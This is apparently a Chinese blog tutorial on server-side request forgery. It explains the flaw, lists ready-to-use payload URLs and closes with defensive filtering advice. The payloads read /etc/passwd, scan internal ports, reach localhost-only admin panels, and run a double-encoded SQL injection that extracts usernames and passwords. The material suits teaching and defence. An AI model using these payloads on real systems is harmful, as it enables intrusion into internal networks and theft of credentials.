您现在的位置是:首页 >技术教程 >Web漏洞之SSRF(服务器端请求伪造)网站首页技术教程

Web漏洞之SSRF(服务器端请求伪造)

gaynell 2024-06-17 10:14:51
简介Web漏洞之SSRF(服务器端请求伪造)

一.漏洞场景

服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

二.漏洞描述

如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side
Request Forgery,简称SSRF。

三.漏洞原理

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。没对响应的结果进行检验,直接输出。

四.漏洞危害

●端口扫描;
●内网Web 应用指纹识别;
●攻击内网应用;
●读取本地文件;

五.漏洞评级

高危

六.漏洞验证

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd

七.漏洞利用

1.文件访问

?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt

2.端口扫描

?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379

3.读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php

4.内网应用指纹识别
有些应用是部署在内网的。

<Directory "c:wwwphpMyAdmin">
#Order allow,deny
Order deny,allow
deny from all
allow from 127.0.0.1
</Directory>  
#在httpd配置文件中设置,只允许本机访问phpMyAdmin,但存在SSRF漏洞,就可以绕过并且可以访问!!!(?url=http://127.0.0.1/phpmyadmin)

内网应用指纹识别。

?url=http://127.0.0.1/phpmyadmin/readme

5.攻击内网WEB应用
内网安全通常都很薄弱

<Directory "c:wwwcms">
#Order allow,deny
Order deny,allow
deny from all
allow from 127.0.0.1
</Directory>  
#在httpd配置文件中设置,只允许本机访问cms,但存在SSRF漏洞,就可以绕过并且可以访问!!!

通过SSRF漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET方法可以攻击的内网Web应用有很多。
例如:cms的sql注入(需要对注入的SQL语句进行二次URL编码)

?url=http://127.0.0.1/cms/show.php?
id=-33/*A*/union/*J*/select/*E*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/*S*/from/*T*/cms_users
?url=http://127.0.0.1/cms/show.php?

id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32%30fr
om%25%32%30cms_users
#需要对注入的SQL语句进行二次URL编码

八.漏洞防御

1.过滤输入
●限制协议,仅允许 http 或 https 协议;
●限制IP,避免应用被用来获取内网数据,攻击内网;
●限制端口,限制请求端口为常用端口。
2.过滤输出
●过滤返回信息,只要不符合要求的,全部过滤;
●统一错误信息,让攻击无法对内网信息进行判断。

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。